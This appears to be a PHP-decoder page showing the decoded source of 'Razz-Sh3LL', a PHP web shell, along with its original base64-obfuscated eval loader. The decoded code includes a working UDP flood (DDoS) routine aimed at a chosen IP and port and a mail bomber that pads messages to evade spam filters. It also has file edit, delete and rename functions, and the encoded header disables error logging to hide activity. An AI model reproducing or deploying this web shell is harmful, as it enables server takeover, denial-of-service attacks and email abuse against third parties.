                    <td> 
                        x 
                    </td> 
                    <td width="20"> 
                        <input style="width: 30px;" class="cmd" name="messageMultiplier" value="10" /> 
                    </td> 
                </tr> 
                 
                <tr> 
                    <td rowspan="2"> 
                        <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="own" value="Let it Rip! :D"/> 
                    </td> 
                </tr> 
            </table>             
        </form> 
        <?php 
    } 
} 


//DDos 

else if(isset($_GET[\'dos\'])) 
{ 
    if(isset($_GET[\'ip\']) && 
    isset($_GET[\'exTime\']) && 
    isset($_GET[\'port\']) && 
    isset($_GET[\'timeout\']) && 
    isset($_GET[\'exTime\']) && 
    $_GET[\'exTime\'] != "" && 
    $_GET[\'port\'] != "" && 
    $_GET[\'ip\'] != "" && 
    $_GET[\'timeout\'] != "" && 
    $_GET[\'exTime\'] != "" 
    ) 
    { 
       $IP=$_GET[\'ip\']; 
       $port=$_GET[\'port\']; 
       $executionTime = $_GET[\'exTime\']; 
       $noOfBytes = $_GET[\'noOfBytes\']; 
       $data = ""; 
       $timeout = $_GET[\'timeout\']; 
       $packets = 0; 
       $counter = $noOfBytes; 
       $maxTime = time() + $executionTime;; 
       while($counter--) 
       { 
            $data .= "X"; 
       } 
       $data .= "-by-Madleet-Shell";  
       print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message <br>"; 
        
       while(1) 
       { 
            $socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout); 
            if($socket) 
            { 
                fwrite($socket , $data); 
                fclose($socket); 
                $packets++; 
            } 
            if(time() >= $maxTime) 
            { 
                break; 
            } 
        } 
        echo "<script>alert(\'DDos Completed!\');</script>"; 
        echo "DOS attack against udp://$IP:$port completed on ".date("h:i:s A")."<br />"; 
        echo "Total Number of Packets Sent : " . $packets . "<br />"; 
        echo "Total Data Sent = ". HumanReadableFilesize($packets*$noOfBytes) . "<br />";  
        echo "Data per packet = " . HumanReadableFilesize($noOfBytes) . "<br />"; 
    } 
    else 
    { 
        ?> 
        <form method="GET"> 
            <input type="hidden" name="dos" /> 
            <table id="margins"> 
                <tr> 
                    <td width="400" class="title"> 
                        IP 
                    </td> 
                    <td> 
                        <input class="cmd" name="ip" value="127.0.0.1" onfocus="if(this.value == \'127.0.0.1\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'127.0.0.1\';"/> 
                    </td> 
                </tr> 
                 
                <tr> 
                    <td class="title"> 
                        Port 
                    </td> 
                    <td> 
                        <input class="cmd" name="port" value="80" onfocus="if(this.value == \'80\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'80\';"/> 
                    </td> 
                </tr> 
                 
                <tr> 
                    <td class="title"> 
                        Timeout <font color="red">(Time in seconds)</font> 
                    </td> 
                    <td> 
                        <input type="text" class="cmd" name="timeout" value="5" onfocus="if(this.value == \'5\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'5\';" /> 
                    </td> 
                </tr> 
                 
                 
                <tr> 
                    <td class="title"> 
                        Execution Time <font color="red">(Time in seconds)</font>  
                    </td> 
                    <td> 
                        <input type="text" class="cmd" name="exTime" value="10" onfocus="if(this.value == \'10\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'10\';"/> 
                    </td> 
                </tr> 
                 
                <tr> 
                    <td class="title"> 
                        No of Bytes per/packet 
                    </td> 
                    <td> 
                        <input type="text" class="cmd" name="noOfBytes" value="999999" onfocus="if(this.value == \'999999\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'999999\';"/> 
                    </td> 
                </tr> 
                 

                <tr> 
                    <td rowspan="2"> 
                        <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="own" value="Let it Rip! :D"/> 
                    </td> 
                </tr> 
            </table>             
        </form> 
        <?php 
    } 
} 

// Mail Bomber 

else if(isset($_GET[\'bomb\'])) 
{ 
    if( 
        isset($_GET[\'to\']) && 
        isset($_GET[\'subject\']) && 
        isset($_GET[\'message\']) && 
        isset($_GET[\'times\']) && 
        $_GET[\'to\'] != \'\' && 
        $_GET[\'subject\'] != \'\' && 
        $_GET[\'message\'] != \'\' && 
        $_GET[\'times\'] != \'\' 
    ) 
    { 
        $times = $_GET[\'times\']; 
        while($times--) 
        { 
            if(isset($_GET[\'padding\'])) 
            { 
                $fromPadd = rand(0,9999); 
                $subjectPadd = " -- ID : ".rand(0,9999999); 
                $messagePadd = "

------------------------------
".rand(0,99999999); 
                 
            } 
            $from = "[email protected]"; 
            if(!mail($_GET[\'to\'],$_GET[\'subject\'].$subjectPadd,$_GET[\'message\'].$messagePadd,"From:".$from)) 
            { 
                $error = 1; 
                echo "<p class=\'alert\'>Some Error Occured!</p>"; 
                break; 
            } 
        } 
        if($error != 1) 
        { 
            echo "<p class=\'alert\'>Mail(s) Sent!</p>"; 
        } 
    } 
    else 
    { 
        ?> 
        <form method="GET"> 
            <input type="hidden" name="bomb" /> 
            <table id="margins"> 
                <tr> 
                    <td class="title"> 
                        To  
                    </td> 
                    <td> 
                        <input class="cmd" name="to" value="[email protected],[email protected]" onfocus="if(this.value == \'[email protected],[email protected]\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'[email protected],[email protected]\';"/> 
                    </td> 
                </tr> 
                 
                <tr> 
                    <td class="title"> 
                        Subject 
                    </td> 
                    <td> 
                        <input type="text" class="cmd" name="subject" value="Just testing my Fucking Skillz!" onfocus="if(this.value == \'Just testing my Fucking Skillz!\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'Just testing my Fucking Skillz!\';" />
                    </td> 
                </tr> 
                 <tr> 
                    <td class="title"> 
                        No. of Times   
                    </td> 
                    <td> 
                        <input class="cmd" name="times" value="100" onfocus="if(this.value == \'100\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'100\';"/> 
                    </td> 
                </tr> 
        
                <tr> 
                    <td> 
                         
                        Pad your message (Less spam detection) 
                         
                    </td> 
                    <td> 
                     
                        <input type="checkbox" name="padding"/> 
                           
                    </td> 
                </tr> 
                <tr> 
                    <td colspan="2"> 
                        <textarea name="message" cols="173" rows="10" class="cmd">Madleet-Shell Rocks!!</textarea> 
                    </td> 
                </tr> 
                 
                 
                <tr> 
                    <td rowspan="2"> 
                        <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="own" value="Send! :D"/> 
                    </td> 
                </tr> 
            </table>             
        </form>    
        <?php 
    } 
} 


//Mass Mailer 

else if(isset($_GET[\'mail\'])) 
{ 
    if( 
        isset($_GET[\'to\']) && 
        isset($_GET[\'from\']) && 
        isset($_GET[\'subject\']) && 
        isset($_GET[\'message\']) 
    ) 
    { 

        if(mail($_GET[\'to\'],$_GET[\'subject\'],$_GET[\'message\'],"From:".$_GET[\'from\'])) 
        { 
            echo "<p class=\'alert\'>Mail Sent!</p>"; 
        } 
        else 
        { 
            echo "<p class=\'alert\'>Some Error Occured!</p>"; 
        } 
    } 
    else 
    { 
        ?> 
        <form method="GET"> 
            <input type="hidden" name="mail" /> 
            <table id="margins"> 
                <tr> 
                    <td width="100" class="title"> 
                        From 
                    </td> 
                    <td> 
                        <input class="cmd" name="from" value="[email protected]" onfocus="if(this.value == \'[email protected]\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'[email protected]\';"/> 
                    </td> 
                </tr> 
                 
                <tr> 
                    <td class="title"> 
                        To  
                    </td> 
                    <td> 
                        <input class="cmd" name="to" value="[email protected],[email protected]" onfocus="if(this.value == \'[email protected],[email protected]\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'[email protected],[email protected]\';"/> 
                    </td> 
                </tr> 
                 
                <tr> 
                    <td class="title"> 
                        Subject 
                    </td> 
                    <td> 
                        <input type="text" class="cmd" name="subject" value="Just testing my Fucking Skillz!" onfocus="if(this.value == \'Just testing my Fucking Skillz!\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'Just testing my Fucking Skillz!\';" />
                    </td> 
                </tr> 
                 
                 
                <tr> 
                    <td colspan="2"> 
                        <textarea name="message" cols="173" rows="10" class="cmd">All i remember are those lonely nights when i was defacing those insecure websites!</textarea> 
                    </td> 
                </tr> 
                 
                 
                <tr> 
                    <td rowspan="2"> 
                        <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="own" value="Send! :D"/> 
                    </td> 
                </tr> 
            </table>             
        </form>    
        <?php 
    } 
} 


// Edit File 

else if(isset($_POST[\'file\']) && 
        isset($_POST[\'content\']) ) 
{ 
    if(is_dir($_POST[\'file\'])) 
    { 
        header("location:".$self."?dir=".$_POST[\'file\']); 
    } 
    if(file_exists($_POST[\'file\'])) 
    { 
        $handle = fopen($_POST[\'file\'],"w"); 
        fwrite($handle,$_POST[\'content\']); 
        echo "Your changes were Successfully Saved!"; 
    } 
    else 
    { 
        echo "<p class=\'alert\'>File Name Specified does not exists!</p>"; 
    } 
} 

// PHP decoder 

else if(isset($_GET[\'decode\'])) 
{ 
    $content = ""; 
    if(isset($_POST[\'content\'])) 
    { 
        $content = htmlspecialchars(gzinflate(base64_decode($_POST[\'content\'])));        
    } 
    ?> 
    <form method="POST"> 
     <textarea name="content" rows="20" cols="100" class="cmd"><?php echo $content;?></textarea><br /> 
        <input name="save" type="Submit" value="Decode" class="own" id="spacing"/> 
    </form> 
    <?php 
} 

//open file 

else if(isset($_GET[\'open\'])) 
{ 
    ?> 
        <form method="POST" action="<?php echo $self;?>" > 
        <table> 
            <tr> 
                <td>File </td><td> : </td><td><input value="<?php echo $_GET[\'open\'];?>" class="cmd" name="file" /></td> 
            </tr> 
            <tr> 
                <td>Size </td><td> : </td><td><input value="<?php echo filesize($_GET[\'open\']);?>" class="cmd" /></td>  
            </tr> 
        </table> 
        <textarea name="content" rows="20" cols="100" class="cmd"><?php 
        $content = htmlspecialchars(file_get_contents($_GET[\'open\'])); 
        if($content) 
        { 
            echo $content; 
        } 
        else if(function_exists(\'fgets\') && function_exists(\'fopen\') && function_exists(\'feof\')) 
        { 
            fopen($_GET[\'open\']); 
            while(!feof()) 
            { 
                echo htmlspecialchars(fgets($_GET[\'open\'])); 
            } 
        } 

        ?> 
        </textarea><br /> 
        <input name="save" type="Submit" value="Save Changes" class="own" id="spacing"/> 
        </form> 
    <?php 
} 

//Rename 

else if(isset($_GET[\'rename\'])) 
{ 
    if(isset($_GET[\'to\']) && isset($_GET[\'rename\'])) 
    { 
        if(rename($_GET[\'rename\'],$_GET[\'to\']) == FALSE) 
        { 
            ?> 
            <big><p class="blink">Cant rename the file specified! Please check the file-name , Permissions and try again!</p></big> 
            <?php 
        } 
        else 
        { 
            ?> 
            <big><p class="blink">File Renamed , Return <a href="<?php echo $self;?>">Here</a></p></big> 
            <?php 
        } 
    } 
    else 
    { 
?> 
    <form method="GET" action="<?php echo $self;?>" > 
        <table> 
            <tr> 
                <td>File </td><td> : </td><td><input value="<?php echo $_GET[\'rename\'];?>" class="cmd" name="rename" /></td> 
            </tr> 
            <tr> 
                <td>To </td><td> : </td><td><input value="<?php echo $_GET[\'rename\'];?>" class="cmd" name="to" /></td>  
            </tr> 
        </table> 
        <input type="Submit" value="Rename :D" class="own" style="margin-left: 160px;padding: 5px;"/> 
        </form>    
    <?php 
    } 
} 


// No request made 
// Display home page 

else 
{ 
    $dir = getcwd(); 
    if(isset($_GET[\'dir\'])) 
    { 
        $dir = $_GET[\'dir\']; 
    } 
    ?> 
    <table id="margins"> 
    <tr> 
        <form method="GET"  action="<?php echo $self;?>"> 
        <td width="100">PWD</td><td width="410"><input name="dir" class="cmd" id="mainInput" value="<?php echo $dir;?>"/></td> 
        <td><input type="submit" value="G0!!" class="own" /></td> 
        </form> 
    </tr> 
    </table> 
     
    <table id="margins" class="files"> 
    <tr> 
        <th class="header" width="500px">Name</th> 
        <th width="100px" class="header">Size</th> 
        <th width="100px" class="header">Permissions</th> 
        <th width="100px" class="header">Delete</th> 
        <th width="100px" class="header">Rename</th> 
    </tr> 
    <?php 
     
    if(isset($_GET[\'delete\'])) 
    { 
        if(unlink(($_GET[\'delete\'])) == FALSE) 
        { 
            echo "<p id=\'margins\' style=\'color:red;\'>Could Not Delete the file Specified!</p>"; 
        } 
    } 
    if(is_dir($dir)) 
    { 
        $handle = opendir($dir); 
        if($handle != FALSE) 
        { 
        if($dir[(strlen($dir)-1)] != $SEPARATOR){$dir = $dir.$SEPARATOR;} 
        while (false !== ($file = readdir($handle))) { 
                if ($file != "." && $file != "..") 
        { 
                //echo $file; 
                //f its a directory 
                if(is_dir($dir.$file)) 
                { 
                    ?> 
                    <tr> 
                    <td class=\'dir\'><a href=\'<?php echo $self ?>?dir=<?php echo $dir.$file ?>\'>/<?php echo $file ?></a></td> 
                    <td class=\'info\'>DIR</td> 
                    <td class=\'info\'>DIR</td> 
                    <td></td> 
                    <font color="white"><td class="info"><a href="<?php echo $self;?>?rename=<?php echo $dir.$file;?>">Rename</a></td> 
                    </tr> 
                <?php 
                } 
                //Its a file  
                else 
                { 
                    ?> 
                    <tr> 
                    <td class=\'file\'><a href=\'<?php echo $self ?>?open=<?php echo $dir.$file ?>\'><?php echo $file ?></a></td> 
                    <td class=\'info\'><?php echo HumanReadableFilesize(filesize($dir.$file));?></td> 
                    <td class=\'info\'><?php echo getFilePermissions($dir.$file);?></td> 
                    <td class="info"><a href="<?php echo $self;?>?delete=<?php echo $dir.$file;?>">Delete</a></td> 
                    <td class="info"><a href="<?php echo $self;?>?rename=<?php echo $dir.$file;?>">Rename</a></td> 
                    </tr> </font>
                    <?php 
                } 
            } 
        } 
        closedir($handle); 
        } 
    } 
    else 
    { 
        echo "<p class=\'alert\' id=\'margins\'>".$_GET[\'dir\']." is <b>NOT</b> a Valid Directory!<br /></p>"; 
    } 
    ?> 
    </table> 
    <?php 
   
} 
//------------------------------------------------------------------------------------------------ 
?> 

<?php 
} 
// End Shell 
//------------------------------------------------------------------------------------------------- 
?> 
<br /><br /><br /><br /> 

<div class="end"> 
<p align="center"><font face="Iceland" style="color:#00FFFF;text-shadow:0px 1px 5px #000;font-size:30px">Coded By Razz @ <font face="Iceland" style="color:#00FFFF;text-shadow:0px 1px 5px #000;font-size:30px"><a href="" target="_blank" style="color: #00FFFF">[ Click Here ]</font><br>
</font>
<br><br>
<font face="Iceland" style="color:red;text-shadow:0px 1px 5px #000;font-size:30px"><span></span>[email protected]<script data-cfhash=\'f9e31\' type="text/javascript">
/* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("data-cfhash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}t.parentNode.removeChild(t);}}catch(u){}}()/* ]]> */</script></font><br><br>
<br>
<font face="Iceland" style="color:lime;text-shadow:0px 1px 5px #000;font-size:30px"><a href="https://in.linkedin.com/company/razzsecurity" target="_blank" style="color: lime">Razz - Dz </font><br>
<font face="Iceland" style="color:lime;text-shadow:0px 1px 5px #000;font-size:30px"><a href="https://web.facebook.com/Server.Clean71" target="_blank" style="color: lime">Official Page</font><br>
</script>
</p> 
</div> 
</body> 
</html>'

Did this file decode correctly?

Original Code

<?php
eval("?>".base64_decode("PD9waHAgCgokdXNlciA9ICJSYXp6IjsgCiRwYXNzID0gInJhenp3YXJkeiI7IAoKZXJyb3JfcmVwb3J0aW5nKDApOyAKaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsgCgoKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSBTb21lIGhlYWRlciBGdW5jdGlvbnMgKE5lZWQgdG8gYmUgb24gdG9wKSAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cIAoKLyoqKioqKioqKioqKioqKiogRGVmaW5lcyAqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovIAoKJGxvY2sgPSAib24iOyAvLyBzZXQgdGhpcyB0byBvZmYgaWYgeW91IGRvbnQgbmVlZCB0aGUgbG9naW4gcGFnZSAKJHRyYWNlYmFja0ZlYXR1cmUgPSAib24iOyAvLyBzZXQgdGhpcyBmZWF0dXJlIHRvIGVuYWJsZSBlbWFpbCBhbGVydHMgCiRvd25lckVtYWlsID0gIkNhbG1mZXJtYWphQGdtYWlsLmNvbSI7IC8vIENoYW5nZSB0aGlzIHRvIHlvdXIgZW1haWwgLCBUaGlzIGVtYWlsIGlzIHVzZWQgdG8gZGVsaXZlciB0cmFjZWJhY2tzIGFib3V0IHlvdXIgc2hlbGwgCiR1cmwgPSAoIWVtcHR5KCRfU0VSVkVSWydIVFRQUyddKSkgPyAiaHR0cHM6Ly8iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddIDogImh0dHA6Ly8iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddOyAKJHBocFZlcnNpb249cGhwdmVyc2lvbigpOyAKJHNlbGY9JF9TRVJWRVJbIlBIUF9TRUxGIl07IC8vIFdoZXJlIGFtIGkgCiRzbSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsgCiRTRVBBUkFUT1IgPSAnLyc7IC8vIERlZmF1bHQgRGlyZWN0b3J5IHNlcGFyYXRvciAKJG9zID0gIk4vRCI7IAppZihzdHJpc3RyKHBocF91bmFtZSgpLCJXaW5kb3dzIikpIAp7IAogICAgICAgICRTRVBBUkFUT1IgPSAnXFwnOyAKICAgICAgICAkb3MgPSAiV2luZG93cyI7IAp9IAplbHNlIGlmKHN0cmlzdHIocGhwX3VuYW1lKCksIkxpbnV4IikpIAp7IAogICAgICAgICRvcyA9ICJMaW51eCI7IAp9IAoKCi8vKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8gCgovLyAtLS0tLS0tLS0tLS0tLSBUcmFjZWJhY2sgRnVuY3Rpb25zIAoKZnVuY3Rpb24gc2VuZExvZ2luQWxlcnQoKSAKeyAKICAgIGdsb2JhbCAkb3duZXJFbWFpbDsgCiAgICBnbG9iYWwgJHVybDsgCiAgICAkYWNjZXNlZElwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107IAogICAgJHJhbmRvbUludCA9IHJhbmQoMCwxMDAwMDAwKTsgICAgICAgICAgICMgdG8gYXZvaWQgaWQgYmxvY2tpbmcgCiAgICAkZnJvbSA9ICJSYXp6LVNoM0xMJHJhbmRvbUludEBmYmkuZ292IjsgIAogICAgIAogICAgLy9lY2hvICRmcm9tOyAKICAgICAKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnbWFpbCcpKSAKICAgIHsgCiAgICAgICAgJHN1YmplY3QgPSAiU2hlbGwgQWNjZXNzZWQgLS0gUmF6ei1TaDNMTCAtLSI7IAogICAgICAgICRtZXNzYWdlID0gIiAKSGV5IE93bmVyICwgCiAgICAgICAgIAogICAgICAgIFlvdXIgU2hlbGwoTWFkbGVldC1TaGVsbCkgbG9jYXRlZCBhdCAkdXJsIHdhcyBhY2Nlc3NlZCBieSAkYWNjZXNlZElwIAogICAgICAgICAKICAgICAgICBJZiBpdHMgbm90IHlvdSA6LSAKICAgICAgICAgCiAgICAgICAgMS4gUGxlYXNlIGNoZWNrIGlmIHRoZSBzaGVsbCBpcyBzZWN1cmVkLiAKICAgICAgICAyLiBDaGFuZ2UgeW91ciB1c2VyIG5hbWUgYW5kIFBhc3N3b3JkLiAKICAgICAgICAzLiBDaGVjayBpZiBsb2NrIGlzIDBuISAKICAgICAgICBhbmQgS2ljayB0aGF0ICoqKioqKiBvdXQhIAogICAgICAgICAKICAgICAgICBUaGFua2luZyBZb3UgCiAgICAgICAgIApZb3VycyBGYWl0aGZ1bGx5IApSYXp6LVNoM0xMCiAgICAgICAgIjsgCiAgICAgICAgbWFpbCgkb3duZXJFbWFpbCwkc3ViamVjdCwkbWVzc2FnZSwnRnJvbTonLiRmcm9tKTsgCiAgICB9IAp9IAoKLy8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gCgoKaWYoZnVuY3Rpb25fZXhpc3RzKCdzZXNzaW9uX3N0YXJ0JykgJiYgJGxvY2sgPT0gJ29uJykgCnsgCiAgICBzZXNzaW9uX3N0YXJ0KCk7IAp9IAplbHNlIAp7IAogICAgLy8gVGhlIGxvY2sgd2lsbCBiZSBzZXQgdG8gJ29mZicgaWYgdGhlIHNlc3Npb25fc3RhcnQgZnVjdGlvbiBpcyBkaXNhYmxlZCBpLmUgaWYgc2Vzc2lvbnMgYXJlIG5vdCBzdXBwb3J0ZWQgIAogICAgJGxvY2sgPSAnb2ZmJzsgCn0gCgovL2xvZ291dCAKCmlmKGlzc2V0KCRfR0VUWydsb2dvdXQnXSkgJiYgJGxvY2sgPT0gJ29uJykgCnsgCiAgICAkX1NFU1NJT05bJ2F1dGhlbnRpY2F0ZWQnXSA9IDA7IAogICAgc2Vzc2lvbl9kZXN0cm95KCk7IAogICAgaGVhZGVyKCJsb2NhdGlvbjogIi4kX1NFUlZFUlsnUEhQX1NFTEYnXSk7IAp9IAoKaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsgCgoKCi8qKioqKioqKioqKioqKioqKiBSZXN0b3JpbmcgKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8gCgoKaW5pX3Jlc3RvcmUoInNhZmVfbW9kZV9pbmNsdWRlX2RpciIpOyAKaW5pX3Jlc3RvcmUoInNhZmVfbW9kZV9leGVjX2RpciIpOyAKaW5pX3Jlc3RvcmUoImRpc2FibGVfZnVuY3Rpb25zIik7IAppbmlfcmVzdG9yZSgiYWxsb3dfdXJsX2ZvcGVuIik7IAppbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7IAppbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7IAoKaWYoZnVuY3Rpb25fZXhpc3RzKCdpbmlfc2V0JykpIAp7IAogICAgaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsgIC8vIE5vIGFsYXJtaW5nIGxvZ3MgCiAgICBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsgICAgLy8gTm8gbG9nZ2luZyBvZiBlcnJvcnMgCiAgICBpbmlfc2V0KCdmaWxlX3VwbG9hZHMnLDEpOyAgLy8gRW5hYmxlIGZpbGUgdXBsb2FkcyAKICAgIGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsMSk7ICAgLy8gYWxsb3cgdXJsIGZvcGVuICAKfSAKCmVsc2UgCnsgCiAgICBpbmlfYWx0ZXIoJ2Vycm9yX2xvZycsTlVMTCk7IAogICAgaW5pX2FsdGVyKCdsb2dfZXJyb3JzJywwKTsgCiAgICBpbmlfYWx0ZXIoJ2ZpbGVfdXBsb2FkcycsMSk7IAogICAgaW5pX2FsdGVyKCdhbGxvd191cmxfZm9wZW4nLDEpOyAKfSAKCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gCgoKPz4gCjxodG1sPiAKPGhlYWQ+IAo8dGl0bGU+IlJhenotU2gzTEwiIHwgTVJYIHwgRHo8L3RpdGxlPiAKCgo8c3R5bGU+IAoKLyogCj09PT09PT09PT09PT09PT09PT09PT09PT09ICAgICAKICAgIENTUyBTZWN0aW9uIAo9PT09PT09PT09PT09PT09PT09PT09PT09PSAKKi8gCgoqeyAKICAgIHBhZGRpbmc6MDsgCiAgICBtYXJnaW46MDsgCn0gCgouYWxlcnQgCnsgCiAgICBiYWNrZ3JvdW5kOnJlZDsgCiAgICBjb2xvcjp3aGl0ZTsgCiAgICBmb250LXdlaWdodDpib2xkOyAKfSAKdGQuaW5mbyAKeyAKICAgIHdpZHRoOjBweDsgCn0gCgouYmluZCAgCnsgCiAgICBib3JkZXI6IDFweCBzb2xpZCAjMzMzMzMzOyAKICAgIG1hcmdpbjogMTVweCBhdXRvIDA7IAogICAgZm9udC1zaXplOiBzbWFsbDsgCn0gCgpkaXYuZW5kICogCnsgCiAgICBmb250LXNpemU6c21hbGw7IAp9IAoKZGl2LmVuZCAgCnsgCiAgICB3aWR0aDoxMDAlOyAKICAgIGJhY2tncm91bmQ6IzIyMjsgCn0gCgpwLmJsaW5rIAp7IAogICAgdGV4dC1kZWNvcmF0aW9uOiBibGluazsgCn0gCgpib2R5ICAKeyAKICAgIGJhY2tncm91bmQtY29sb3I6YmxhY2s7IAogICAgY29sb3I6cmdiKDM1LDE4MiwzOSk7IAogICAgZm9udC1mYW1pbHk6VGFob21hLFZlcmRhbmEsQXJpYWw7IAogICAgZm9udC1zaXplOiBzbWFsbDsgCn0gCgppbnB1dC5vd24geyAKICAgIGJhY2tncm91bmQtY29sb3I6ICMwMDQ4NDg7IAogICAgY29sb3I6IHdoaXRlOyAKICAgIGJvcmRlciA6IDFweCBzb2xpZCAjRkYwMDAwOyAKfSAKCmJsb2NrcXVvdGUuc21hbGwgCnsgCiAgICBmb250LXNpemU6IHNtYWxsZXI7IAogICAgY29sb3I6IHNpbHZlcjsgCiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7IAp9IAoKdGFibGUuZmlsZXMgCnsgCiAgICBib3JkZXItc3BhY2luZzogMTBweDsgCiAgICBmb250LXNpemU6IHNtYWxsOyAKfSAKCmgxIHsgCiAgICBwYWRkaW5nOiA0cHg7IAogICAgcGFkZGluZy1ib3R0b206IDBweDsgCiAgICBtYXJnaW4tcmlnaHQgOiA1cHg7IAp9IApkaXYubG9nbyAKeyAKICAgIGJvcmRlci1yaWdodDogMXB4ICMxOWQwZDA7IAp9IApkaXYuaGVhZGVyIAp7IAogICAgcGFkZGluZy1sZWZ0OiA1cHg7IAogICAgZm9udC1zaXplOiBzbWFsbDsgCiAgICB0ZXh0LWFsaWduOiBsZWZ0OyAKfSAKZGl2Lm5hdiAKeyAKICAgIG1hcmdpbi10b3A6MXB4OyAKICAgIGhlaWdodDozMHB4OyAKICAgIGJhY2tncm91bmQtY29sb3I6ICNGRjAwMDA7IAp9IApkaXYubmF2IHVsIAp7IAogICAgbGlzdC1zdHlsZTogbm9uZTsgCiAgICBwYWRkaW5nOiA0cHg7IAp9IApkaXYubmF2IGxpIAp7IAogICAgZmxvYXQ6IGxlZnQ7IAogICAgbWFyZ2luLXJpZ2h0OiAxMHB4OyAKICAgIHRleHQtYWxpZ246Y2VudGVyOyAKfSAKdGV4dGFyZWEuY21kIAp7IAogICAgYm9yZGVyIDogMXB4IHNvbGlkICMxMTE7IAogICAgYmFja2dyb3VuZC1jb2xvciA6ICMwMDQ4NDg7IAogICAgZm9udC1mYW1pbHk6IFNoZWxsOyAKICAgIGNvbG9yIDogd2hpdGU7IAogICAgbWFyZ2luLXRvcDogMTBweDsgCiAgICBmb250LXNpemU6c21hbGw7IAp9IAoKaW5wdXQuY21kIAp7IAogICAgYmFja2dyb3VuZC1jb2xvcjpibGFjazsgCiAgICBjb2xvcjogd2hpdGU7IAogICAgd2lkdGg6IDQwMHB4OyAKICAgIGJvcmRlciA6IDFweCBzb2xpZCAjRkYwMDAwOyAKCn0gCnRkLm1haW50ZXh0IAp7IAogICAgZm9udC1zaXplOiBsYXJnZTsgCn0gCiNtYXJnaW5zIAp7IAogICAgbWFyZ2luLWxlZnQ6IDEwcHg7IAogICAgbWFyZ2luLXRvcDogMTBweDsgCiAgICBjb2xvcjp3aGl0ZTsgCn0gCnRhYmxlLnRvcCAKeyAKICAgIGJvcmRlci1ib3R0b206IDFweCAjMTZmNjAxOyAKICAgIHdpZHRoOiAxMDAlOyAKfSAKI2JvcmRlcnMgCnsgCiAgICBib3JkZXItdG9wIDogMXB4ICMxNmY2MDE7IAogICAgYm9yZGVyLWxlZnQ6MXB4ICMxNmY2MDE7IAogICAgYm9yZGVyLWJvdHRvbTogMXB4ICMxNmY2MDE7IAogICAgYm9yZGVyLXJpZ2h0OiAxcHggIzE2ZjYwMTsgCiAgICBtYXJnaW4tYm90dG9tOjA7IAp9IAp0ZC5maWxlIGEgLCAuZmlsZSBhIAp7IAogICAgY29sb3IgOiBhcXVhOyAKICAgIHRleHQtZGVjb3JhdGlvbjpub25lOyAKfSAKYS5kaXIgCnsgCiAgICBjb2xvcjp3aGl0ZTsgCiAgICBmb250LXdlaWdodDpib2xkOyAKICAgIHRleHQtZGVjb3JhdGlvbjpub25lOyAKfSAKdGQuZGlyIGEgCnsgCiAgICBjb2xvciA6IHdoaXRlOyAKICAgIHRleHQtZGVjb3JhdGlvbjpub25lOyAKfSAKdGQuZG93bmxvYWQsdGQuZG93bmxvYWQyIAp7IAogICAgY29sb3I6IzAwNDg0ODsgCn0gCiNzcGFjaW5nIAp7IAogICAgcGFkZGluZzoxMHB4OyAKICAgIG1hcmdpbi1sZWZ0OjIwMHB4OyAKfSAKdGguaGVhZGVyIAp7IAogICAgYmFja2dyb3VuZDogbm9uZSByZXBlYXQgc2Nyb2xsIDAgMCAjMTkxOTE5OyAKICAgIGNvbG9yOiB3aGl0ZTsgCiAgICBib3JkZXItYm90dG9tIDogMXB4IHNvbGlkICMzMzMzMzM7IAp9IApwLndhcm5pbmcgCnsgCiAgICBiYWNrZ3JvdW5kIDogcmVkOyAKICAgIGNvbG9y